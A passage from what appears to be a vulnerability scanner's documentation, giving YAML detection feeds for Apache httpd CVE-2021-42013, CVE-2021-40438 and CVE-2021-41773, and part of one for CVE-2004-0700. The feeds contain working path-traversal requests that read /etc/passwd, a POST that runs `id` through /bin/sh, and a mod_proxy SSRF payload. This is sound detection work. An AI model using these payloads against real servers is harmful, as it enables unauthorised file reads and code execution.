Apache httpd — 7 vulnerability checks
noctis ships 7 vulnerability checks for Apache httpd, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Apache HTTP Server 2.4.49/2.4.50 Path Traversal via Double URL Encoding
| CVE | CVE-2021-42013 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2021-42013.yaml |
Tests Apache HTTP Server 2.4.49 and 2.4.50 for the path traversal through double URL-encoded dots, the bypass of the incomplete CVE-2021-41773 fix. The test requests /etc/passwd through %%32%65 segments under /icons/, then under /cgi-bin/ (the alias the default configuration keeps), with two encodings sent verbatim over raw TCP, and, when its root entry comes back, sends the same traversal for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. The passwd content itself is not copied into the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%3… - Checks
lfi_resp.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP… - Checks
lfi_resp_alt.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HT… - Checks
lfi_resp_cgi.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%… - Checks
lfi_resp_cgi_alt.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
travfor^/(icons|cgi-bin)/→ finding QoD 75: GET …etc/passwd returned /etc/passwd (root entry) through the double-encoded traversal; the same traversal for an absent file did not (CVE-…
Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-42013.yaml
# Apache HTTP Server 2.4.49/2.4.50 double-encoded path traversal — CVE-2021-42013
#
# Probes /icons/ (the alias of conf/extra/httpd-autoindex.conf) and /cgi-bin/
# (the ScriptAlias of the stock httpd.conf, which leaves the autoindex include
# commented out — #2504: real 2.4.50 with the stock config is only readable
# through /cgi-bin/; without a CGI module the file is served as-is).
uid: 5ae08e89-e18d-4be8-ba3b-2bbeed6942e8
name: "Apache HTTP Server 2.4.49/2.4.50 Path Traversal via Double URL Encoding (CVE-2021-42013)"
description: |
Tests Apache HTTP Server 2.4.49 and 2.4.50 for the path traversal through
double URL-encoded dots, the bypass of the incomplete CVE-2021-41773 fix.
The test requests /etc/passwd through %%32%65 segments under /icons/, then
under /cgi-bin/ (the alias the default configuration keeps), with two
encodings sent verbatim over raw TCP, and, when its root entry comes back,
sends the same traversal for an absent file in a random missing directory:
the finding is reported only when that control gets an HTTP reply without
passwd content, so a server that answers every path with the same file is
not reported. The passwd content itself is not copied into the finding.
cves: [CVE-2021-42013]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, path-traversal, lfi, rce, kev]
services: [http, https]
author: noctis
version: "1.1.0"
steps:
# Pre-initialised so a failed connect leaves an empty banner, not an
# undefined variable.
- id: init-lfi-resp
action: set_var
var_name: lfi_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-resp-alt
action: set_var
var_name: lfi_resp_alt
var_value: {connected: false, banner: ""}
- id: init-lfi-resp-cgi
action: set_var
var_name: lfi_resp_cgi
var_value: {connected: false, banner: ""}
- id: init-lfi-resp-cgi-alt
action: set_var
var_name: lfi_resp_cgi_alt
var_value: {connected: false, banner: ""}
# Traversal prefix that read the file ("" = none did); reused by the control.
- id: init-trav
action: set_var
var_name: trav
var_value: ""
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# LFI via raw TCP — double URL-encoding bypass (%%32%65 → %2e → .)
# Reqwest normalises URLs, so tcp_connect is mandatory to send verbatim.
- id: lfi-probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp
# No finding here: the raw reply is the whole passwd file and must not
# become evidence. The finding is raised below from a fixed summary.
- id: lfi-match
action: match
source: lfi_resp.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
on_match:
set_vars:
trav: "/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/"
# Alternative dotslash pattern (only if the first one read nothing)
- id: lfi-probe-alt
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav == ""'
send: "GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp_alt
- id: lfi-match-alt
action: match
source: lfi_resp_alt.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
condition: 'trav == ""'
on_match:
set_vars:
trav: "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/"
# Same two encodings under /cgi-bin/: the stock httpd.conf has no /icons/
# alias, but ScriptAlias /cgi-bin/ serves the file when no CGI module is loaded.
- id: lfi-probe-cgi
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav == ""'
send: "GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp_cgi
- id: lfi-match-cgi
action: match
source: lfi_resp_cgi.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
condition: 'trav == ""'
on_match:
set_vars:
trav: "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/"
- id: lfi-probe-cgi-alt
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav == ""'
send: "GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp_cgi_alt
- id: lfi-match-cgi-alt
action: match
source: lfi_resp_cgi_alt.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
condition: 'trav == ""'
on_match:
set_vars:
trav: "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/"
# ── Control: same traversal, absent file ─────────────────────────────────
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too. Apache answers 404.
- id: lfi-control
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav != ""'
send: "GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: lfi-control-verdict
action: script
condition: 'trav != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0", b)
store_as: ctrl_clean
- id: lfi-report
action: match
source: trav
pattern: "^/(icons|cgi-bin)/"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "GET {{trav}}etc/passwd returned /etc/passwd (root entry) through the double-encoded traversal; the same traversal for an absent file did not (CVE-2021-42013)"
stop: trueApache HTTP Server mod_proxy SSRF via unix: URI
| CVE | CVE-2021-40438 |
|---|---|
| Severity | critical · CVSS 9.0 |
| Category | ssrf — SSRF |
| Services | http, https |
| Detection | script, tcp_connect, wait_oob, set_var, match · highest QoD 97 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2021-40438.yaml |
Tests Apache HTTP Server 2.4.48 and earlier with mod_proxy for the server-side request forgery in unix: socket URIs. The feed sends GET /?unix:<7701 x A>|http://<random>.invalid/ : on a vulnerable proxy the overlong socket path makes mod_proxy fall back to the URL after "|", so it tries to reach the random host and answers with a 502 Proxy Error naming it ("DNS lookup failure for: <random>.invalid"). The host name is random per scan under the reserved .invalid top-level domain, so only a proxy that really tried to connect to it can name it. When out-of-band detection is enabled, the same request pointing at the out-of-band server must make the target call it back. Fixed releases (2.4.49 and later) ignore the URL and servers without a proxy on / serve their normal page; neither is reported. Only the root location (/) is tested.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /?unix:{{x.pad}}|http://{{oob_host}}:{{oob_port}}/{{oob_token}} HTTP/1.1, for each of 6 values - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: GET /?unix:<7701 x A>|http://…:…/… made the server call the OOB URL back
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /?unix:{{x.pad}}|http://{{x.host}}/ HTTP/1.1 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
dns_hitfor^true$→ finding QoD 75: GET /?unix:<7701 x A>|http://…/ (attempt …) answered with a mod_proxy error for a host only the unix: fallback URL can name: DNS lookup fai…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40438.yaml
Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-40438.yaml
# Apache HTTP Server mod_proxy unix: URI SSRF — CVE-2021-40438
#
# httpd 2.4.48 and earlier: when a request reaches a mod_proxy location
# (ProxyPass, RewriteRule [P]…), "?unix:<path>|<url>" in the URI selects a
# Unix-domain-socket backend. A <path> longer than the socket path limit
# makes the socket lookup fail and mod_proxy falls back to the <url> after
# "|", so the client chooses the origin server Apache connects to (SSRF).
#
# Detection (no write, no OOB needed):
# GET /?unix:<7701 x A>|http://noctis<random>.invalid/
# A vulnerable proxy tries to resolve the random host and answers
# 502 Proxy Error … DNS lookup failure for: noctis<random>.invalid
# (verified on the official httpd:2.4.48 image with ProxyPass "/"). The
# host name is random per scan and lives under the reserved .invalid TLD,
# so only a proxy that really tried to reach it names it in an error;
# httpd 2.4.49+ ignores the URL after "|" (503 from the configured backend)
# and a server without mod_proxy on "/" serves its normal page. QoD 75.
#
# OOB (QoD 97, condition oob_enabled, tried first): the same request with
# |http://{{oob_host}}:{{oob_port}}/{{oob_token}} makes the proxy itself call
# the OOB server — covers proxies whose resolver answers for every name or
# that replace the 502 page with a custom error document.
#
# Connection pooling (seen on the real 2.4.48 image): a pooled backend
# connection keeps the first host it was bound to. The fallback URL is only
# honoured on a pooled connection not yet bound to a host; afterwards that
# connection keeps naming the host of the probe that first used it. Hence:
# - each probe is sent up to 6 times (requests spread over the child
# processes);
# - the in-band check accepts the name of THIS scan's host or any host this
# feed generates (noctis + 10 hex digits + .invalid) — an earlier scan's
# name bound to a connection is still proof that the fallback URL was
# followed; a fixed release never resolves it.
# A proxy whose child processes all already serve real proxied traffic
# through bound connections may not take the fallback URL at all: not
# reported (false negative shared by every request-based check).
#
# Previous version matched a marker only the mock returned (issue #2342).
#
# CVSS: NVD v3.1 9.0.
uid: 1311ff53-d33d-45d2-b644-e615d0087223
name: "Apache HTTP Server mod_proxy SSRF via unix: URI (CVE-2021-40438)"
description: |
Tests Apache HTTP Server 2.4.48 and earlier with mod_proxy for the
server-side request forgery in unix: socket URIs. The feed sends
GET /?unix:<7701 x A>|http://<random>.invalid/ : on a vulnerable proxy the
overlong socket path makes mod_proxy fall back to the URL after "|", so it
tries to reach the random host and answers with a 502 Proxy Error naming it
("DNS lookup failure for: <random>.invalid"). The host name is random per
scan under the reserved .invalid top-level domain, so only a proxy that
really tried to connect to it can name it. When out-of-band detection is
enabled, the same request pointing at the out-of-band server must make the
target call it back. Fixed releases (2.4.49 and later) ignore the URL and
servers without a proxy on / serve their normal page; neither is reported.
Only the root location (/) is tested.
cves: [CVE-2021-40438]
cvss: 9.0
severity: critical
category: ssrf
confidence_base: 0.20
tags: [apache, mod_proxy, ssrf, kev, oob]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-40438"
- "https://httpd.apache.org/security/vulnerabilities_24.html"
- "https://firzen.de/building-a-poc-for-cve-2021-40438"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40438.yaml"
steps:
# Random host name under the reserved .invalid TLD, and the overlong
# unix: socket path (7701 bytes keeps the request line under httpd's 8190).
- id: build
action: script
code: |
#{ host: "noctis" + rand_hex(5) + ".invalid", pad: crap(7701, "A") }
store_as: x
# ── OOB first (QoD 97): the proxy itself calls the OOB server ─────────────
# Sent up to 6 times: mod_proxy only honours the URL on a pooled backend
# connection that has not been bound to a host yet (see the header).
- id: ssrf-oob-probe
action: tcp_connect
port: "{{port}}"
send: "GET /?unix:{{x.pad}}|http://{{oob_host}}:{{oob_port}}/{{oob_token}} HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
condition: "oob_enabled"
store_as: oob_probe
loop:
var: attempt
over: ["1", "2", "3", "4", "5", "6"]
- id: ssrf-oob-wait
action: wait_oob
oob_timeout_secs: 15
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.77 # 0.20 + 0.77 = 0.97
qod: 97
evidence: "GET /?unix:<7701 x A>|http://{{oob_host}}:{{oob_port}}/{{oob_token}} made the server call the OOB URL back"
stop: true
# ── In-band (QoD 75): mod_proxy error naming a noctis .invalid host ───────
- id: init-dns-hit
action: set_var
var_name: dns_hit
var_value: false
- id: init-dns-name
action: set_var
var_name: dns_name
var_value: ""
# Loop group: up to 6 attempts, each resetting the stored reply first.
- id: init-resp
action: set_var
var_name: resp
var_value: {connected: false, banner: ""}
loop:
var: attempt
over: ["1", "2", "3", "4", "5", "6"]
- id: ssrf-dns-probe
action: tcp_connect
port: "{{port}}"
send: "GET /?unix:{{x.pad}}|http://{{x.host}}/ HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
condition: "dns_hit == false"
store_as: resp
# The name after "DNS lookup failure for: " must be this scan's host, or
# one an earlier scan of this feed left bound to a pooled connection
# (noctis + 10 hex digits + .invalid): only a proxy that honoured the
# unix: fallback URL ever tried to resolve such a name.
- id: ssrf-dns-name
action: script
code: |
let name = dns_name;
if dns_hit == false && type_of(resp.banner) == "string" {
let k = "DNS lookup failure for: ";
let i = resp.banner.index_of(k + "noctis");
if i >= 0 {
let cand = resp.banner.sub_string(i + k.len(), 24);
if ereg("^noctis[0-9a-f]{10}[.]invalid$", cand) { name = cand; }
}
}
name
store_as: dns_name
- id: ssrf-dns-verdict
action: script
code: |
dns_name != ""
store_as: dns_hit
- id: ssrf-dns-match
action: match
source: dns_hit
pattern: "^true$"
condition: "dns_hit == true"
on_match:
finding:
confidence_delta: 0.55 # 0.20 + 0.55 = 0.75
qod: 75
evidence: "GET /?unix:<7701 x A>|http://{{x.host}}/ (attempt {{attempt}}) answered with a mod_proxy error for a host only the unix: fallback URL can name: DNS lookup failure for: {{dns_name}}"
stop: trueApache httpd 2.4.49 Path Traversal / RCE
| CVE | CVE-2021-41773 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 97 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2021-41773.yaml |
Tests Apache HTTP Server 2.4.49 for the path traversal through %2e-encoded dots. The test requests /etc/passwd through .%2e/ segments under /icons/, then under /cgi-bin/ (the alias the default configuration keeps), sent verbatim over raw TCP and, when its root entry comes back, sends the same traversal for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported. When the file read is not reported, it POSTs an `id` command to /bin/sh through the same traversal under /cgi-bin/ and reports remote code execution when the `id` output comes back (CGI enabled). When that request returns the /bin/sh executable itself (CGI not loaded, the file is served as-is), it reports the file read, after the same absent-file control.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0 - Checks
lfi_resp.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0 - Checks
lfi_resp_cgi.bannerfor^HTTP/1\.[01] 200[\s\S]*root:[x*!]:0:0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
travfor^/(icons|cgi-bin)/→ finding QoD 75: LFI confirmed — GET …etc/passwd returned /etc/passwd (root entry), the same traversal for an absent file did not - Raw TCP (TLS on HTTPS), sent verbatim:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.0 - Checks
rce_resp.bannerforuid=\d+\(\w+\)→ finding QoD 97: RCE confirmed via mod_cgi — `id` output in response - Checks
rce_resp.bannerfor^HTTP/1\.[01] 200[^\n]*\n(?:[^\n]*\S[^\n]*\n)*?\r?\n\x7fELF - Raw TCP (TLS on HTTPS), sent verbatim:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/noctis-absent-{{oob_token}}/bin/sh HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
elf_readfor^/bin/sh$→ finding QoD 75: File read confirmed — POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh returned the /bin/sh ELF executable as a file (CGI not loaded, no code execu…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- https://httpd.apache.org/security/vulnerabilities_24.html
Feed source — tests/vulnerabilities/apache-httpd/CVE-2021-41773.yaml
# Apache HTTP Server 2.4.49 Path Traversal / RCE — CVE-2021-41773
#
# Reqwest (and any standard HTTP client) normalises URLs: %2e → . then
# resolves ../ segments before sending. The traversal must therefore go
# through tcp_connect to send the path verbatim without normalisation.
#
# Methods:
# 1. LFI via tcp_connect (QoD 75) — reads /etc/passwd through /icons/, then
# through /cgi-bin/ (#2504: the stock httpd.conf leaves the /icons/ alias
# of httpd-autoindex.conf commented out, while ScriptAlias /cgi-bin/ is on
# and serves files as-is when no CGI module is loaded). Then sends the same
# traversal for an absent file (random missing directory, same etc/passwd
# ending) and reports only when that control answers without passwd
# content, so a server that returns passwd for every path is not reported.
# 2. RCE via tcp_connect POST to /cgi-bin/../bin/sh (QoD 97)
# 3. When that POST returns the /bin/sh ELF image instead (CGI not loaded):
# file read (QoD 75), with an absent-file control under the same traversal.
uid: a3c7f4e2-1b9d-4f6a-8e3c-2d5a0f1e9b4c
name: "Apache httpd 2.4.49 Path Traversal / RCE (CVE-2021-41773)"
description: |
Tests Apache HTTP Server 2.4.49 for the path traversal through %2e-encoded
dots. The test requests /etc/passwd through .%2e/ segments under /icons/,
then under /cgi-bin/ (the alias the default configuration keeps), sent
verbatim over raw TCP and, when its root entry comes back, sends the same
traversal for an absent file in a random missing directory: the finding is
reported only when that control gets an HTTP reply without passwd content,
so a server that answers every path with the same file is not reported.
When the file read is not reported, it POSTs an `id` command to /bin/sh
through the same traversal under /cgi-bin/ and reports remote code execution
when the `id` output comes back (CGI enabled). When that request returns the
/bin/sh executable itself (CGI not loaded, the file is served as-is), it
reports the file read, after the same absent-file control.
cves: [CVE-2021-41773]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, path-traversal, rce, lfi, cgi]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-41773"
- "https://httpd.apache.org/security/vulnerabilities_24.html"
steps:
# Pre-initialised so a failed connect leaves an empty banner, not an
# undefined variable.
- id: init-lfi-resp
action: set_var
var_name: lfi_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-resp-cgi
action: set_var
var_name: lfi_resp_cgi
var_value: {connected: false, banner: ""}
# Traversal prefix that read the file ("" = none did); reused by the control.
- id: init-trav
action: set_var
var_name: trav
var_value: ""
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: init-rce-resp
action: set_var
var_name: rce_resp
var_value: {connected: false, banner: ""}
- id: init-elf-read
action: set_var
var_name: elf_read
var_value: ""
- id: init-elf-ctrl-resp
action: set_var
var_name: elf_ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-elf-ctrl-clean
action: set_var
var_name: elf_ctrl_clean
var_value: false
# ── Method 1: LFI via raw TCP ────────────────────────────────────────────
# GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd — path sent verbatim
- id: lfi-probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp
# No finding here: the raw reply is the whole passwd file and must not
# become evidence. The finding is raised below from a fixed summary.
- id: lfi-match
action: match
source: lfi_resp.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
on_match:
set_vars:
trav: "/icons/.%2e/.%2e/.%2e/.%2e/"
# Same read under /cgi-bin/: the stock httpd.conf has no /icons/ alias, but
# ScriptAlias /cgi-bin/ serves the file when no CGI module is loaded.
- id: lfi-probe-cgi
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav == ""'
send: "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: lfi_resp_cgi
- id: lfi-match-cgi
action: match
source: lfi_resp_cgi.banner
pattern: "^HTTP/1\\.[01] 200[\\s\\S]*root:[x*!]:0:0"
condition: 'trav == ""'
on_match:
set_vars:
trav: "/cgi-bin/.%2e/.%2e/.%2e/.%2e/"
# ── Control: same traversal, absent file ─────────────────────────────────
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too. Apache answers 404.
- id: lfi-control
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'trav != ""'
send: "GET {{trav}}noctis-absent-{{oob_token}}/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: lfi-control-verdict
action: script
condition: 'trav != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0", b)
store_as: ctrl_clean
- id: lfi-report
action: match
source: trav
pattern: "^/(icons|cgi-bin)/"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "LFI confirmed — GET {{trav}}etc/passwd returned /etc/passwd (root entry), the same traversal for an absent file did not"
stop: true
# ── Method 2: RCE via mod_cgi ────────────────────────────────────────────
# POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh — executes `id`
- id: rce-probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n\r\necho Content-Type: text/plain; echo; id"
store_as: rce_resp
- id: rce-match
action: match
source: rce_resp.banner
pattern: "uid=\\d+\\(\\w+\\)"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "RCE confirmed via mod_cgi — `id` output in response"
stop: true
# ── Method 3: CGI not loaded — the POST served /bin/sh as a file ────────
# No finding here: the reply is the binary itself. Only the ELF magic right
# after the headers of a 200 reply counts.
- id: elf-match
action: match
source: rce_resp.banner
pattern: "^HTTP/1\\.[01] 200[^\\n]*\\n(?:[^\\n]*\\S[^\\n]*\\n)*?\\r?\\n\\x7fELF"
on_match:
set_vars:
elf_read: "/bin/sh"
# Same POST as the probe, for an absent file.
- id: elf-control
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: 'elf_read != ""'
send: "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/noctis-absent-{{oob_token}}/bin/sh HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n\r\necho Content-Type: text/plain; echo; id"
store_as: elf_ctrl_resp
# Fail closed: the control must have answered over HTTP, without an ELF image.
- id: elf-control-verdict
action: script
condition: 'elf_read != ""'
code: |
let b = elf_ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("\\x7fELF", b)
store_as: elf_ctrl_clean
- id: elf-report
action: match
source: elf_read
pattern: "^/bin/sh$"
condition: "elf_ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.65
qod: 75
evidence: "File read confirmed — POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh returned the /bin/sh ELF executable as a file (CGI not loaded, no code execution); the same traversal for an absent file did not"
stop: trueApache 1.3 mod_ssl < 2.8.19 ssl_log Format String
| CVE | CVE-2004-0700 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2004-0700.yaml |
mod_ssl, the SSL/TLS module for Apache HTTP Server 1.3, has a format string bug in its logging function (`ssl_log`) before version 2.8.19: when Apache proxies HTTPS requests through mod_proxy, text coming from the remote server can reach the log call as a format string, which may let a remote attacker run code in the Apache process.
The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services), reads the `Server:` response header and reports the host when it advertises an Apache 1.x server (including Mandrake's Apache-AdvancedExtranetServer 1.x build) with a mod_ssl product token older than 2.8.19 (any 1.x, 2.0 to 2.7, and 2.8.0 to 2.8.18). mod_ssl 2.8.19 and later, Apache 2.x (whose mod_ssl carries the Apache 2 version number and is not affected), servers that hide their module list and banners naming Darwin (Apple ships its own patched builds) are not reported.
This is a version check: the bug can only be triggered by a malicious upstream server answering a proxied request, so nothing is sent beyond the request above. Distributions that backported the fix without changing the version are reported too.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
ver.versionfor^[0-9]→ finding QoD 70: Server header '…': Apache 1.x with mod_ssl …, older than 2.8.19 (ssl_log format string reachable through mod_proxy; not triggered).
References:
- https://nvd.nist.gov/vuln/detail/CVE-2004-0700
- http://www.securityfocus.com/bid/10736
- http://www.modssl.org/source/exp/mod_ssl/CHANGES
Feed source — tests/vulnerabilities/apache-httpd/CVE-2004-0700.yaml
# Ported from OpenVAS/Greenbone NASL pre2008/mod_ssl_hook_functions_format_string_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.13651, GPL-2.0-only), which reports an Apache 1.x
# Server: header carrying `mod_ssl/(1.*|2\.([0-7]\..*|8\.([0-9]|1[0-8])[^0-9]))`
# (and skips any banner naming Darwin).
#
# Better than the NASL:
# - only the Server: header line is searched (the NASL's strstr(banner, "Server")
# also scans every header that follows it);
# - the mod_ssl version is compared numerically, so a Server: value ending right
# after the version (no trailing byte for the NASL's `[^0-9]`) and four-part
# releases such as 2.8.5.1 are covered;
# - Mandrake's Apache 1.3 build (`Apache-AdvancedExtranetServer/1.3.x`), which the
# NASL drops because it lacks the literal `Apache/`, is covered too;
# - the Apache product version is required to be 1.x explicitly (`Apache/2`,
# `Apache/20…` or a bare `Apache` are never reported);
# - raw tcp_connect, so a non-conformant reply is not dropped and HTTPS is covered.
#
# No benign exploit exists: the format string sits in mod_ssl's proxy logging path
# (messages from a remote HTTPS server proxied by mod_proxy), so the only trigger is
# a malicious upstream server — hence a version check (QoD 70).
uid: dd19af34-ba95-46be-9eb5-d7462212dcb6
name: "Apache 1.3 mod_ssl < 2.8.19 ssl_log Format String (CVE-2004-0700)"
description: |
mod_ssl, the SSL/TLS module for Apache HTTP Server 1.3, has a format string bug
in its logging function (`ssl_log`) before version 2.8.19: when Apache proxies
HTTPS requests through mod_proxy, text coming from the remote server can reach
the log call as a format string, which may let a remote attacker run code in
the Apache process.
The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services),
reads the `Server:` response header and reports the host when it advertises an
Apache 1.x server (including Mandrake's Apache-AdvancedExtranetServer 1.x
